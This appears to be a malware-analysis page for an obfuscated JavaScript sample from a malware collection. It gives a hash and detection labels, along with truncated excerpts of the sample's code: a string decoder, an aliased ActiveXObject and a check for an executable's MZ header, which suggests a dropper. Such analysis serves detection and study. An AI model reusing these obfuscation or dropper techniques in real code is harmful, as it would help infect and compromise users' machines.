Hostile ^100% javascript-malware-collection Download

20161220_165359c218fe9beaf727aba731cf1113.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256d15e20a94008d3eb239db8847752f8a20e0dd14406736a9d19ad67ac4d669565

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–9

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikconservationFROG2XCOP = 0;	
9     var SupchikconservationRazlomSS, SupchikconservationFROG2ddDccC2, Supchikconserva …

JavaScript empty-string accumulator initializer lines 9–14

9:106… kconservationFROG2c4;
10
11     var SupchikconservationFROG2out = "";
12
13	 var SupchikconservationFROG2Supchikconservationka= this.replace(/FROSTICK/gi, SupchikconservationFROG2out);
14 var  SupchikconservationFROG2len = Supchikconserva …

charCodeAt() method call lines 18–20

16… conservationkoch = SupchikconservationFROG2Supchikconservationka.charCodeAt(SupchikconservationFROG2XCOP++) &(0x132- 0x33);
          SupchikconservationRazlomSS = levitron[Supchikconservationkoch];
      } while (SupchikconservationFROG2XCOP  …

ActiveXObject via local alias lines 185–188

31… 2=SupchikconservationFROG2DoUtra.pop();
186SupchikconservationFROG2fabled="Valar2Morgulis";
var SupchikconservationFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikconservationFROG2d2.split("45");SupchikconservationFROG2Native.SupchikconservationFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikconservationFR …

Checks array for PE magic bytes lines 257–264

97… ;	
if(SupchikconservationTalabaevLaa < 29989)return false;
if (SupchikconservationTalabaev[0]!= 77 || SupchikconservationTalabaev[1]!= 90)return false;		
SupchikconservationFROG2CHICKA = SupchikconservationFROG2CHICKA  + SupchikconservationFROG2SIDRENKOV;
REBEKK2(SupchikconservationFROG2CHICKA, SupchikconservationTalabaev );
262
var SupchikconservationFROG2ddsSSddSd = ",happy";
264SupchikconservationFROG2ddsSSddSd = (SupchikconservationFROG2StrokaParam2,"undl") + (SupchikconservationFROG2StrokaParam2,"l3 …